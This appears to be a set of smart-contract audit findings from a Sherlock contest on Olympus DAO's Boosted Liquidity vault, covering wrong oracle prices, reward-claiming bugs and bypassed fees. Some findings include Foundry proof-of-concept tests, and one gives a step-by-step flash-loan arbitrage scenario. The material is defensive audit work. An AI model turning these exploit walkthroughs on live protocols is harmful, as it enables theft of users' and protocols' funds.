MockPriceFeed stethEthPriceFeed = MockPriceFeed(0x86392dC19c0b719886221c78AB11eb8Cf5c52812);
MockPriceFeed ohmEthPriceFeed = MockPriceFeed(0x9a72298ae3886221820B1c878d12D872087D3a23);
// Olympus DAO V3 contracts
Kernel kernel = Kernel(0x2286d7f9639e8158FaD1169e76d1FbC38247f54b);
address executor = kernel.executor();
OlympusMinter minter = OlympusMinter(0xa90bFe53217da78D900749eb6Ef513ee5b6a491e);
OlympusTreasury treasury = OlympusTreasury(0xa8687A15D4BE32CC8F0a8a7B9704a4C3993D9613);
OlympusBoostedLiquidityRegistry blreg = new OlympusBoostedLiquidityRegistry(kernel);
OlympusRoles rolesAdmin = OlympusRoles(0x6CAfd730Dc199Df73C16420C4fCAb18E3afbfA59);
BLVaultManagerLido vaultManager;
BLVaultLido vaultImplementation;
BLVaultLido userVault;
function setUp() public {
vaultImplementation = new BLVaultLido();
IBLVaultManagerLido.TokenData memory tokenData = IBLVaultManagerLido.TokenData({
ohm: address(ohm),
pairToken: address(wsteth),
aura: address(aura),
bal: address(bal)
});
IBLVaultManagerLido.BalancerData memory balancerData = IBLVaultManagerLido
.BalancerData({
vault: address(balVault),
liquidityPool: address(liquidityPool),
balancerHelper: address(balancerHelper)
});
IBLVaultManagerLido.AuraData memory auraData = IBLVaultManagerLido.AuraData({
pid: pid,
auraBooster: auraBooster,
auraRewardPool: address(auraRewardPool)
});
IBLVaultManagerLido.OracleFeed memory ohmEthPriceFeedData = IBLVaultManagerLido
.OracleFeed({feed: ohmEthPriceFeed, updateThreshold: uint48(1 days)});
IBLVaultManagerLido.OracleFeed memory stethEthPriceFeedData = IBLVaultManagerLido
.OracleFeed({feed: stethEthPriceFeed, updateThreshold: uint48(1 days)});
vaultManager = new BLVaultManagerLido(
kernel,
tokenData,
balancerData,
auraData,
address(auraMiningLib),
ohmEthPriceFeedData,
stethEthPriceFeedData,
address(vaultImplementation),
100_000e9,
0
);
// Initialize system
{
vm.startPrank(executor);
// Initialize modules
kernel.executeAction(Actions.InstallModule, address(blreg));
// Activate policies
kernel.executeAction(Actions.ActivatePolicy, address(vaultManager));
kernel.executeAction(Actions.ActivatePolicy, address(this));
vm.stopPrank();
}
// grant this contract liquidity vault admin role
{
rolesAdmin.saveRole("liquidityvault_admin", address(this));
}
// Activate Vault Manager
{
vaultManager.activate();
}
// Prepare user's account
// Create alice's vault
vm.startPrank(user);
userVault = BLVaultLido(vaultManager.deployVault());
// Approve wstETH to alice's vault
wsteth.approve(address(userVault), type(uint256).max);
vm.stopPrank();
}
function testClaimRewards() public {
vm.startPrank(user);
userVault.deposit(10e18, 0);
// move time forward
skip(86400);
// check rewards
RewardsData[] memory rewardsData = userVault.getOutstandingRewards();
assertGt(rewardsData[0].outstandingRewards, 0);
assertGt(rewardsData[1].outstandingRewards, 0);
uint256 balBeforeClaim = bal.balanceOf(user);
uint256 auraBeforeClaim = aura.balanceOf(user);
userVault.claimRewards();
// user doesn't have his rewards claimed
assertEq(bal.balanceOf(user) - balBeforeClaim, 0);
assertEq(aura.balanceOf(user) - auraBeforeClaim, 0);
}
function configureDependencies() external returns (Keycode[] memory dependencies) {}
function requestPermissions() external view returns (Permissions[] memory requests) {
Keycode ROLES_KEYCODE = toKeycode("ROLES");
requests = new Permissions[](2);
requests[0] = Permissions(ROLES_KEYCODE, rolesAdmin.saveRole.selector);
requests[1] = Permissions(ROLES_KEYCODE, rolesAdmin.removeRole.selector);
}
}Impact
Rewards aren't claimed when expected to.
Code Snippet
Tool used
Manual Review, Fork testing with Foundry, buildbear.io for forking
Recommendation
- auraRewardPool().getReward(owner(), true);
+ auraRewardPool().getReward();Bauer - AuraPool.withdrawAndUnwrap boolean return value not handled in BLVaultLido.sol
Bauer
medium
AuraPool.withdrawAndUnwrap boolean return value not handled in BLVaultLido.sol
Summary
AuraPool.withdrawAndUnwrap() boolean return value not handled in BLVaultLido.sol
Vulnerability Detail
The BLVaultLido.withdraw() is used to unstake from Aura and exit Balancer pool. The withdrawAndUnwrap() function in the Aura implementation returns a boolean to acknowledge that the unstake is successful. However, the protocol does not handle the AuraPool.withdrawAndUnwrap() boolean return value.
https://etherscan.io/address/0x7818A1DA7BD1E64c199029E86Ba244a9798eEE10#code#F17#L261
function withdrawAndUnwrap(uint256 amount, bool claim) public returns(bool){
_withdrawAndUnwrapTo(amount, msg.sender, msg.sender);
//get rewards too
if(claim){
getReward(msg.sender,true);
}
return true;
}function withdraw(
uint256 lpAmount_,
uint256[] calldata minTokenAmounts_,
bool claim_
) external override onlyWhileActive onlyOwner nonReentrant returns (uint256, uint256) {
// Cache variables into memory
OlympusERC20Token ohm = ohm();
ERC20 wsteth = wsteth();
IBLVaultManagerLido manager = manager();
// Cache OHM and wstETH balances before
uint256 ohmBefore = ohm.balanceOf(address(this));
uint256 wstethBefore = wsteth.balanceOf(address(this));
// Decrease total LP
manager.decreaseTotalLp(lpAmount_);
// Unstake from Aura
auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);
Impact
If the boolean value is not handled, the transaction may fail silently.
Code Snippet
Tool used
Manual Review
Recommendation
Recommend checking for success return value
bool withdrawSuccess = auraRewardPool().withdrawAndUnwrap(lpAmount_, claim_);
if (!withdrawSuccess revert BLVaultLido_AuraWithdrawFailed();0x52 - stETH/ETH chainlink oracle has too long of heartbeat and deviation threshold which can cause loss of funds
0x52
high
stETH/ETH chainlink oracle has too long of heartbeat and deviation threshold which can cause loss of funds
Summary
getTknOhmPrice uses the stETH/ETH chainlink oracle to calculate the current price of the OHM token. This token valuation is used to determine the amount of stETH to skim from the user resulting from oracle arb. This is problematic since stETH/ETH has a 24 hour heartbeat and a 2% deviation threshold. This deviation in price could easily cause loss of funds to the user.
Vulnerability Detail
BLVaultManagerLido.sol#L458-L473
function getTknOhmPrice() public view override returns (uint256) {
// Get stETH per wstETH (18 Decimals)
uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();
// Get ETH per OHM (18 Decimals)
uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);
// Get stETH per ETH (18 Decimals)
uint256 stethPerEth = _validatePrice(
stethEthPriceFeed.feed,
stethEthPriceFeed.updateThreshold
);
// Calculate wstETH per OHM (18 decimals)
return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);
}
getTknOhmPrice uses the stETH/ETH oracle to determine the price which as stated above has a 24 hour hearbeat and 2% deviation threshold, this means that the price can move up to 2% or 24 hours before a price update is triggered. The result is that the on-chain price could be much different than the true stETH price.
uint256 wstethOhmPrice = manager.getTknOhmPrice();
uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;
// Take any arbs relative to the oracle price for the Treasury and return the rest to the owner
uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut
? expectedWstethAmountOut
: wstethAmountOut;
if (wstethAmountOut > wstethToReturn)
wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);
This price is used when determining how much stETH to send back to the user. Since the oracle can be up to 2% different from the true price, the user can unfairly lose part of their funds.
Impact
User will be unfairly penalized due large variance between on-chain price and asset price
Code Snippet
Tool used
Manual Review
Recommendation
Use the stETH/USD oracle instead because it has a 1-hour heartbeat and a 1% deviation threshold.
Bauer - Incorrect getOhmTknPrice() function implementation
Bauer
high
Incorrect getOhmTknPrice() function implementation
Summary
Incorrect getOhmTknPrice() function implementation
Vulnerability Detail
The protocol allows owner to deposit wstETH and stake the wstETH and OHM to external pool to get lp shares. The OHM amount to mint is calculated as the below code.
function getOhmTknPrice() public view override returns (uint256) {
// Get stETH per wstETH (18 Decimals)
uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();
// Get ETH per OHM (18 Decimals)
uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);
// Get stETH per ETH (18 Decimals)
uint256 stethPerEth = _validatePrice(
stethEthPriceFeed.feed,
stethEthPriceFeed.updateThreshold
);
// Calculate OHM per wstETH (9 decimals)
return (stethPerWsteth * stethPerEth) / (ethPerOhm * 1e9);
}Asumue:
1 wstETH = 10 stETH
1 OHM = 2 ETH
1 ETH = 5 stETH
Then, 1 wstETh = 10/5/2 OHM.
However, the result of the protocol calculation is 10*5/2 = 25. This is incorrect. The protocol will mint more OHM to the BLVaultLido protocol.
Impact
Function getOhmTknPrice() implementation is incorrect.
Code Snippet
Tool used
Manual Review
Recommendation
return (stethPerWsteth*1e18*1e9)/stethPerEth/ethPerOhmDuplicate of #42
cducrest-brainbot - Incorrect calcuation of getTknOhmPrice
cducrest-brainbot
high
Incorrect calcuation of getTknOhmPrice
Summary
The calculation for getTknOhmPrice does not use the correct values.
Vulnerability Detail
We want to output a value that when multiplied by an OHM amount yields wstETH amount. I.e. we want wstEthPerOhm.
Not taking decimals into account, we can calculate it as wstEthPerOhm = wstEthPerEth * ethPerOhm = wstethPerSteth * stethPerEth * ethPerOhm = stethPerEth * ethPerOhm / stethPerWsteth
The logic is APerB = APerC * CPerB and APerB = 1 / BPerA
The calculation uses stethPerEth in denominator instead of numerator.
Impact
Incorrect value of getTknOhmPrice() used to calculate the expected amount of wstEth out during a withdraw, the value of stethPerEth is currently 0.9977325266 so the difference is not that big. Too much wstEth will be returned to the user resulting in a financial loss for the protocol.
Code Snippet
function getTknOhmPrice() public view override returns (uint256) {
// Get stETH per wstETH (18 Decimals)
uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();
// Get ETH per OHM (18 Decimals)
uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);
// Get stETH per ETH (18 Decimals)
uint256 stethPerEth = _validatePrice(
stethEthPriceFeed.feed,
stethEthPriceFeed.updateThreshold
);
// Calculate wstETH per OHM (18 decimals)
return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);
}Tool used
Manual Review
Recommendation
Use stethPerEth * ethPerOhm / stethPerWsteth calculation
Duplicate of #42
ABA - `wstETH` to `OHM` price is incorrectly calculated
ABA
medium
wstETH to OHM price is incorrectly calculated
Summary
The price of wstETH, relative to OHM, which is used throughout the project, is calculated incorrectly because of wrong Chainlink stream pair used.
Vulnerability Detail
wstETH to OHM price is calculated in the function getTknOhmPrice
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L458
function getTknOhmPrice() public view override returns (uint256) {The function takes the following token price pairs:
- stETH/wstETH ->
stethPerWsteth - ETH/OHM ->
ethPerOhm - stETH/ETH ->
stethPerEth
and combines them with the intent to translated into wstETH/OHM.
// Calculate wstETH per OHM (18 decimals)
return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);Here is the issue, because the correct pairs are not used and results in a different price then intended. To better illustrate this will replace the above formula with the token denominations only:
- take the
ethPerOhmto the left for better visibility
- replace each variable with it's denominations
- reverse the right fraction
- do some basic, allowed, positional changes and highlighting the fraction of interest in parentheses
It can be seen in the final result that the desired value wstETH/OHM would only be achieved if in the original formula we had stethPerEth replaces with a ethPerSteth (ETH/stETH) equivalent:
return (ethPerOhm * 1e36) / (stethPerWsteth * ethPerSteth);Impact
wstETH/OHM price is calculated incorrect. By not reflecting the correct price the protocol can suffer losses due to arbitrage/unexpected price fluctuations.
Instead of the stETH to ETH price stream, the correct stream would of been ETH to stETH. Since both are ETH equivalents they tend to not vary much, as such, the price fluctuations would not be sever but would still pose an issue.
Code Snippet
Tool used
Manual Review
Recommendation
The simples solution would be to use a ETH/stETH Chainlink price stream, unfortunately one does not exist
https://docs.chain.link/data-feeds/price-feeds/addresses/
Instead, use other, intermediate, price streams to arrive at the desired price.
Duplicate of #24
RaymondFam - System could be gamed by single-sided depositing through the vault with an added preliminary step
RaymondFam
high
System could be gamed by single-sided depositing through the vault with an added preliminary step
Summary
The system can be gamed by first shifting more of the LP into OHM, then only depositing through the vault, performing a large swap (either via user balance, a large loan, or a flash loan) to shift more of the LP into wstETH, then exiting the pool.
Vulnerability Detail
Here is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)
OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
-
The user will first swap 10000 OHM for 90.91 wstETH making an initial loss of 10000 * 15 - 90.91 * 1500 = $13635 on paper.
OHM token balance: 110_000
wstETH token balance: 909.09
Total LP: 10_000 -
A single-sided deposit through the vault is made with 110 wstETH so that 11000 OHM is minted and 110 - 909.09 * 0.1 = 19.09 wstETH is unused and refunded. (Note: The user successfully stakes with 11000 OHM and 90.91 wstETH and proportionately receives 1000 LP.)
OHM token balance: 121_000
wstETH token balance: 1000
Total LP: 11_000
User's LP: 1_000 -
The user swaps 100 wstETH for 11000 OHM and makes a profit of 11000 * 15 - 100 * 1500 = $15000 on paper. After offsetting the earlier paper loss, the net profit for the swaps is 15000 - 13635 = $1365.
OHM token balance: 110_000
wstETH token balance: 1_100
Total LP: 11_000
User's LP: 1_000 -
Next, the user's LP is fully withdrawn where 10000 OHM is received and burned while 100 wstETH is fully transferred to the user because the pool wstETH per 1 OHM pricing is back to equaling getTknOhmPrice(), i.e.
wstethAmountOut == expectedWstethAmountOutmakingwstethToReturn == wstethAmountOut.OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
User's LP: 0
Impact
The user makes 100 - 90.91 = 9.09 wstETH. Together with the swap profit, the total gross arbitrage is 9.09 * 1500 + 1365 = $15000, which is way more than enough to cover for all needed flash loan and transaction fees.
In fact, steps 1 - 4 arbitrage exploit could be repeated since the pool is now rebalanced to match up with the market pricing again.
Code Snippet
File: BLVaultLido.sol#L143-L200
File: BLVaultLido.sol#L203-L256
Tool used
Manual Review
Recommendation
Consider implementing a snapshot of the entry record of OHM and wstETH and compare that with the proportionate exit record. Check if the pool has been twice imbalanced in opposite manner between the two snapshots. If it has been, slash the differential for treasury dissuading large attempts to shift the pool around with the preliminary step aforesaid in step 1 added to the know and fixed issue, steps 2 to 4.
J4de - The remaining LP is not returned to the user
J4de
medium
The remaining LP is not returned to the user
Summary
The remaining LP in the BLVaultLido contract is not returned to the user.
Vulnerability Detail
// // https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L177-L180
// Stake into Aura
liquidityPool.approve(address(auraBooster), lpAmountOut);
bool depositSuccess = auraBooster.deposit(pid(), lpAmountOut, true);
if (!depositSuccess) revert BLVaultLido_AuraDepositFailed();The LPs deposit to auraBooster may be less than lpAmountOut, resulting in the possibility of remaining LP in the contract.
Impact
The user's LP may thus be lost in this contract.
Code Snippet
Tool used
Manual Review
Recommendation
It is recommended to return the remaining LP to the user.
ABA - `getOhmSupplyChangeData` shows faulty data, will mislead external integrators/users
ABA
medium
getOhmSupplyChangeData shows faulty data, will mislead external integrators/users
Summary
External sources will use the getOhmSupplyChangeData, to display information to user about the state of the system.
This function always returns 0 for the deployed OHM values and circulating burned OHM.
Vulnerability Detail
getOhmSupplyChangeData from BLVaultManagerLido aggregates and returns 3 pieces of information:
function getOhmSupplyChangeData()
external
view
override
returns (uint256 poolOhmShare, uint256 deployedOhm, uint256 circulatingOhmBurned)
{
// Net emitted is the amount of OHM that was minted to the pool but is no longer in the
// pool beyond what has been burned in the past. Net removed is the amount of OHM that is
// in the pool but wasn’t minted there plus what has been burned in the past. Here we just return
// the data components to calculate that.
uint256 currentPoolOhmShare = getPoolOhmShare();
return (currentPoolOhmShare, deployedOhm, circulatingOhmBurned);
}out of these deployedOhm and circulatingOhmBurned will always be 0 because they are both declared as returns variables:
returns (uint256 poolOhmShare, uint256 deployedOhm, uint256 circulatingOhmBurned)and as contract variables
uint256 public deployedOhm;
uint256 public circulatingOhmBurned;As the local variables shadow the global ones, the return values will always be 0.
Impact
Users will be mislead about the current state of the system. Also, any decision the team will base off this information (e.g. modifying deployed OHM limit) will be erroneous.
Also, any other integration with this contract via this function will receive faulty information.
Code Snippet
A simple POC to be set in BLVaultManagerLidoMocks.t to highlight that even if vault minted OHM, it is not reflected by getOhmSupplyChangeData
/// [X] getOhmSupplyChangeData
/// [X] returns incorrect amounts
function testIncorrectness_getOhmSupplyChangeData() public {
address aliceVault = _createVault();
// Increase OHM minted, this also increases the deployedOhm
vm.prank(aliceVault);
vaultManager.mintOhmToVault(99_900e9);
(uint256 poolOhmShare, uint256 deployedOhm, uint256 circulatingOhmBurned) = vaultManager.getOhmSupplyChangeData();
// show the value has not changed
assertEq(poolOhmShare, 0);
assertEq(deployedOhm, 0);
assertEq(circulatingOhmBurned, 0);
}Tool used
Manual Review
Visual Studio Code with the Solidity Visual Developer plugin. It highlighted the issue
https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor
Recommendation
Remove the return variables on line:
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L428
jasonxiale - functions BLVaultManagerLido.getOhmTknPrice and BLVaultManagerLido.getTknOhmPrice will get wrong value because of wrong price feed
jasonxiale
high
functions BLVaultManagerLido.getOhmTknPrice and BLVaultManagerLido.getTknOhmPrice will get wrong value because of wrong price feed
Summary
According to document https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/interfaces/IBLVaultManagerLido.sol#L126-L132, those two functions are used to calculate the price between OHM and wstETH, however due to wrong price feed oracle, the price between OHM and wstETH will be wrong.
Although the price feed hasn't bee set yet, but according to the documents, function/variable naming and comments, it's very likely the project will use wrong price feed
Vulnerability Detail
Take BLVaultManagerLido.getTknOhmPrice as an example
function getTknOhmPrice() public view override returns (uint256) {
// Get stETH per wstETH (18 Decimals)
uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();
// Get ETH per OHM (18 Decimals)
uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);
// Get stETH per ETH (18 Decimals)
uint256 stethPerEth = _validatePrice(
stethEthPriceFeed.feed,
stethEthPriceFeed.updateThreshold
);
// Calculate wstETH per OHM (18 decimals)
return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);
}
According to IBLVaultManagerLido.sol#LL130, the function is used to "Gets the number of wstETH per 1 OHM",
So we can define a variable as
uint256 wstETHPerOhm = getTknOhmPrice();
which means
uint256 wstETHPerOhm = (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth)
which equals
wstETHPerOhm * (stethPerWsteth * stethPerEth) = (ethPerOhm * 1e36)
and then we exchange left side and right side
(ethPerOhm * 1e36) = wstETHPerOhm * (stethPerWsteth * stethPerEth)
and then we will convert above into formula (and ignore decimals for convenience)
eth / Ohm = wstETH / Ohm *( steth / Wsteth * steth / eth)
and after remove the same items in numerator and denominator, we will get
eth = steth * steth / eth
which can't be right, unless stethPerEth means ethPerSteth
Impact
wrong price
Code Snippet
Tool used
Manual Review
Recommendation
Duplicate of #42
HHK - claimRewards() will never claim rewards
HHK
medium
claimRewards() will never claim rewards
Summary
Function claimRewards() will never claim rewards for the vault as it doesn't use the right parameters.
Vulnerability Detail
auraRewardPool().getReward in claimRewards uses the owner as account to check rewards for instead of the vault.
Thus this will never claim rewards for the vault.
Rewards can still be claimed by inputing claim = true when calling withdraw.
Impact
- UX impact and gas cost increase as the user can't harvest rewards without calling withdraw.
- Useless claimRewards function in the code
Code Snippet
It is linked on the doc : https://docs.aura.finance/developers/building-on-aura and seems to be the baseRewardPool used in production (ex: https://etherscan.io/address/0xe4683fe8f53da14ca5dac4251eadfb3aa614d528).
Tool used
Manual Review
Recommendation
Change owner() with address(this) or call getRewards() that uses msg.sender instead.
auraRewardPool().getReward(address(this), true);
// or
auraRewardPool().getReward();Duplicate of #21
CRYP70 - VaultOwner can keep claiming free rewards after withdrawal
CRYP70
high
VaultOwner can keep claiming free rewards after withdrawal
Summary
Users are able to supply wsteth tokens to the vault using the deposit() function and withdraw from from the vault while also claiming rewards by setting the claim flag to true. When a user withdraws with a true claim flag, they should be able to completely withdraw from the vault however, there lacks a check of LP when attempting to claim rewards.
Vulnerability Detail
The code for claimRewards() looks like the following:
function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
// Claim rewards from Aura
auraRewardPool().getReward(owner(), true);
// Send rewards to owner
_sendRewards();
}Because there is no validation of the LP status of the vault owner, when calling claimRewards(), users may be able to claim free rewards after withdrawing from the protocol. The proof of concept below outlines this scenario:
function testClaimRewardsAfterWithdrawal() public {
// Setup scenario
ERC20 balReward = ERC20(address(aliceVault.bal()));
vm.startPrank(address(alice));
wsteth.approve(address(aliceVault), wsteth.balanceOf(address(alice)));
aliceVault.deposit(100 ether, 0);
uint256[] memory minTokenAmounts = new uint256[](1);
minTokenAmounts[0] = 0;
aliceVault.withdraw(100 ether, minTokenAmounts, true);
aliceVault.claimRewards();
aliceVault.claimRewards();
aliceVault.claimRewards();
aliceVault.claimRewards();
aliceVault.claimRewards();
aliceVault.claimRewards();
vm.stopPrank();
assertEq(aliceVault.getLpBalance(), 0);
assertEq(balReward.balanceOf(address(alice)), 7 ether);
}Impact
This effectively results in the theft of reward tokens.
Code Snippet
Tool used
Manual Review
Recommendation
It’s recommended that the vault checks that the user is still invested in the protocol and hasn’t claimed their rewards yet. This can by done by setting a state variable claimed which is for example false on deposit and true on withdrawal if the claim flag is set to true. This claimed state variable can be validated when the user attempts to claim rewards. This essentially locks the ability to call the claimRewards() function if the user hasn’t deposited.
hickuphh3 - `AURA` reward amount returned may be inaccurate
hickuphh3
medium
AURA reward amount returned may be inaccurate
Summary
The AURA reward amount claimable and reward rate calculations may be inaccurate because of 2 reasons:
- The
AuraMininglibrary to be used is explicitly stated to not be used on-chain because it doesn't account for inflationary tokens minted by the AURA minter - It doesn't account for the reward multiplier in the
AuraBooster.
Vulnerability Detail
I assume the AuraMining library to be used is 0x744Be650cea753de1e69BF6BAd3c98490A855f52, which has the following comment:
/**
* @notice Utility library to calculate how many Cvx will be minted based on the amount of Crv.
* Do not use this on-chain, as AuraMinter after can mint additional tokens after `inflationProtectionTime`
* has passed, those new tokens are not taken into consideration in this library.
*/where the discrepancy might occur because of the private minterMinted variable:
// After AuraMinter.inflationProtectionTime has passed, this calculation might not be valid.
// uint256 emissionsMinted = supply - initMintAmount - minterMinted;
uint256 emissionsMinted = supply - initMintAmount;However, it's being used in outstandingRewards():
// Get Aura rewards
uint256 auraRewards = manager().auraMiningLib().convertCrvToCvx(balRewards);
rewards[1] = RewardsData({rewardToken: address(aura()), outstandingRewards: auraRewards});and in rewardRate():
} else if (rewardToken_ == aura) {
// If reward token is Aura, calculate rewardRate from AuraMiningLib
uint256 balRewardRate = auraPool.rewardRate();
rewardRate = auraMiningLib.convertCrvToCvx(balRewardRate);Furthermore, the implementation does not account for the reward multiplier set in the AURA booster. AuraRewardPool's getReward()'s implementation is as such:
if (reward > 0) {
rewards[_account] = 0;
rewardToken.safeTransfer(_account, reward);
IDeposit(operator).rewardClaimed(pid, _account, reward); // @audit: operator = aura booster
emit RewardPaid(_account, reward);
}which calls the rewardClaimed on the operator (AuraBooster):
function rewardClaimed(uint256 _pid, address _address, uint256 _amount) external returns(bool){
address rewardContract = poolInfo[_pid].crvRewards;
require(msg.sender == rewardContract || msg.sender == lockRewards, "!auth");
uint256 mintAmount = _amount.mul(getRewardMultipliers[msg.sender]).div(REWARD_MULTIPLIER_DENOMINATOR);
if(mintAmount > 0) {
//mint reward tokens
ITokenMinter(minter).mint(_address, mintAmount);
}
return true;
}Note that it is possible to change the reward multiplier of the AURA reward pool by the feeManager (capped at 2x the REWARD_MULTIPLIER_DENOMINATOR).
Impact
Inaccurate AURA reward rate and amounts returned if:
- the reward multiplier is changed in the AURA booster
- the AURA minter mints tokens
Code Snippet
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L312-L314
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L385-L388
Tool used
Manual Review
Recommendation
For its intent and purposes, no change is necessary IMO, but adding a // @dev comment to note that the potentially inaccurate AURA amounts and rate returned would be beneficial.
martin - Signature Malleability
martin
medium
Signature Malleability
Summary
Replay attack vector
Vulnerability Detail
Replay attack vector
Impact
The function calls the Solidity ecrecover() function directly to verify the given signatures. However, the ecrecover() EVM opcode allows malleable (non-unique) signatures and thus is susceptible to replay attacks.
Although a replay attack seems not possible for this contract, I recommend using the battle-tested OpenZeppelin’s ECDSA library.
Code Snippet
253: address signer = ecrecover(hash, v, r, s);
866: address signer = ECDSA.recover(hash, v, r, s);https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/external/OlympusERC20.sol#L253
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/external/OlympusERC20.sol#L866
Tool used
Manual Review
Recommendation
Use the ecrecover function from OpenZeppelin’s ECDSA library for signature verification. (Ensure using a version > 4.7.3 for there was a critical bug >= 4.1.0 < 4.7.3).
cducrest-brainbot - SetLimit does not take into account burned OHM
cducrest-brainbot
medium
SetLimit does not take into account burned OHM
Summary
The function setLimit() may not be able to sufficiently restrict mint ability of manager.
Vulnerability Detail
The setLimit() function reverts when newLimit_ < deployedOhm, mintOhmToVault will revert if deployedOhm + amount_ > ohmLimit + circulatingOhmBurned. If the value of circulatingOhmBurned is high, and the admin can only set the limit above deployedOhm, they could end up in a state where they cannot limit the amount the vault is allowed to burn sufficiently. I.e. the vault is always able to mint at least circulatingOhmBurned new tokens.
Note that circulatingOhmBurned is never lowered (even when minting new tokens), so this value could grow arbitrarily high.
Impact
Lack of control of admin on mint ability of manager.
Code Snippet
SetLimit function:
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L480-L483
Tool used
Manual Review
Recommendation
Use similar restrictions as in mintOhmToVault() for setLimit or lower circulatingOhmBurned when minting new OHM.
martin - Single-step ownership transfer can be dangerous
martin
medium
Single-step ownership transfer can be dangerous
Summary
Likelihood:
Medium, because even a small mistake would lead to unchangeable kernel
Impact:
Medium, because it limits the functionality of the protocol
Vulnerability Detail
Because of human mistake, it’s possible to set a new invalid kernel. In such case, there won't be a way to change it since changeKernel could be called only if the msg.sender is equal to address(kernel) which won't be the case anymore.
Impact
It’s highly possible to make the kernel address unchangeable from the changeKernel function.
Code Snippet
96: function changeKernel(Kernel newKernel_) external onlyKernel {https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/Kernel.sol#L96
Tool used
Manual Review
Recommendation
When you want to change the kernel address it’s better to propose a new kernel, and then accept this ownership with the new wallet. Implement Two-Factor Authentication with pending and approve functions.
Inspex - Rewards are sent directly to `owner()` instead of the vault, allowing users to claim reward without paying reward fees
Inspex
medium
Rewards are sent directly to owner() instead of the vault, allowing users to claim reward without paying reward fees
Summary
The vault owner can claim the reward directly without paying token fees because of the auraRewardPool().getReward(owner(), true) function at line 265.
On this line, the getReward() function is called with owner() used as a parameter to claim the reward, which is the address of the vault's owner, not the address of the vault itself.
As a result, the reward will be sent directly to owner() without any reward fees being paid to the TRSRY() address.
Vulnerability Detail
The claimRewards() function is used to claim outstanding rewards from the Aura to the vault at line 265.
/// @inheritdoc IBLVaultLido
function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
// Claim rewards from Aura
auraRewardPool().getReward(owner(), true);
// Send rewards to owner
_sendRewards();
}On line 268, the _sendRewards() function is used to send any rewards in the vault to the owner, while also paying a small fee to the TRSRY() address if applicable.
function _sendRewards() internal {
// Send Bal rewards to owner
{
uint256 balRewards = bal().balanceOf(address(this));
uint256 balFee = (balRewards * fee()) / 10_000;
if (balRewards - balFee > 0) {
bal().safeTransfer(owner(), balRewards - balFee);
emit RewardsClaimed(address(bal()), balRewards - balFee);
}
if (balFee > 0) bal().safeTransfer(TRSRY(), balFee);
}
// Send Aura rewards to owner
{
uint256 auraRewards = aura().balanceOf(address(this));
uint256 auraFee = (auraRewards * fee()) / 10_000;
if (auraRewards - auraFee > 0) {
aura().safeTransfer(owner(), auraRewards - auraFee);
emit RewardsClaimed(address(aura()), auraRewards - auraFee);
}
if (auraFee > 0) aura().safeTransfer(TRSRY(), auraFee);
}
// Send extra rewards to owner
{
uint256 numExtraRewards = auraRewardPool().extraRewardsLength();
for (uint256 i; i < numExtraRewards; ) {
IAuraRewardPool extraRewardPool = IAuraRewardPool(auraRewardPool().extraRewards(i));
ERC20 extraRewardToken = ERC20(extraRewardPool.rewardToken());
uint256 extraRewardAmount = extraRewardToken.balanceOf(address(this));
uint256 extraRewardFee = (extraRewardAmount * fee()) / 10_000;
if (extraRewardAmount - extraRewardFee > 0) {
extraRewardToken.safeTransfer(owner(), extraRewardAmount - extraRewardFee);
emit RewardsClaimed(
address(extraRewardToken),
extraRewardAmount - extraRewardFee
);
}
if (extraRewardFee > 0) extraRewardToken.safeTransfer(TRSRY(), extraRewardFee);
unchecked {
++i;
}
}
}
}Because the auraRewardPool().getReward(owner(), true) function on line 265 uses owner() as a parameter, any reward claimed will be sent directly to the owner() rather than the owner's vault. Therefore, if there are no rewards in the vault, the _sendRewards() function on line 268 will not transfer any fee to the TRSRY() address.
Impact
The platform will lose rewards fees because users can claim rewards without paying reward fees.
Code Snippet
Tool used
Manual Review
Recommendation
